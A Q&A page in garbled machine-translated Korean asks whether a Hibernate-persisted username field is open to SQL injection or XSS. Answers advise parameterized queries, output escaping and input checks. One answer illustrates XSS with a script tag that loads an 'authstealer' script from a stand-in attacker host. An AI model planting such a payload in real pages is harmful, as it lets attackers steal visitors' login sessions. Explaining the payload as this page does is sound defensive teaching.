2017-10-19 12 views
0

나는 방법이 공격자가 수 있습니다 사용자 데이터는 사용자의 POJO공격자가 Java POJO에 sql 또는 javascript를 삽입 할 수 있습니까?

class User{ 
private String userName; 
private boolean enabled; 
private Date registrationDate; 
... 
} 

에 저장 한 후

org.hibernate.Session.persist(User) 

을 사용하여 데이터베이스에 유지됩니다 내 웹 사이트 에 등록 할 수있는 형태를 가지고 userName 필드에 SQL 인젝션 또는 XSS를 수행하고 데이터를 오염 시키거나 다른 유형의 공격을 수행하며 어떻게 보호합니까?

또한 공격자는 SQL 이외의 다른 데이터 형식으로 SQL 구문 또는 JavaScript 코드를 저장할 수 있습니까?

답변

0

추한 물건을 사용하지 않고 깨끗한 사용은 안전합니다. 그래서 SQL 삽입.

그러나 HTML 양식 입력이 JavaScript에 대해 보호되지 않으면 데이터베이스의 텍스트에 JS가 표시 될 수 있습니다.

해당 텍스트를 출력 할 때 escapeHTML = true를 수행해야합니다. 다음 XSS은 없습니다.

일반적으로 큰 문제는 아니지만 관리자가 덤프 등으로 관리 페이지에서 게으름을 알고 있어야합니다. 그 페이지는 더 간단하게 생성 될 수 있습니다.

다른 형식 : SVG (Scriptable Vector Format)은 이미지를위한 아름다운 확장 가능한 XML 형식으로, HTML 페이지에서 볼 수 있습니다. 그러나 상호 작용을 위해 JavaScript가 포함될 수 있습니다.

같은 업로드 richt 텍스트스프레드 시트, 때로는 BLOB 데이터베이스에의 저장 형식에 대한 보유하고 있습니다.

1

https://www.owasp.org/index.php/Hibernate#A_note_about_SQL_injection

이 폼 입력을 확인하는 것이 좋습니다. 주어진 객체는 비교적 단순하기 때문에 문제가되지 않습니다.

또한 쿼리를 문자열 연결로 작성하지 않고 필요한 경우 Query.setParameter()를 사용하십시오. 이러한 방법은 SQL 주입 방지 전용이며 이러한 종류의 위험을 제거합니다.

1

지금까지 게시 한 내용에서 XSS에 취약 해 보입니다. 내가 내 이름에 대한 다음 문자열을 제공하는 경우 : 일부 JS를 실행하는 사이트에 내 이름을보고

Username<script src="http://myevilsite.com/authstealer.js"> 

사람을.

아마도 burp 사이트 여야합니다.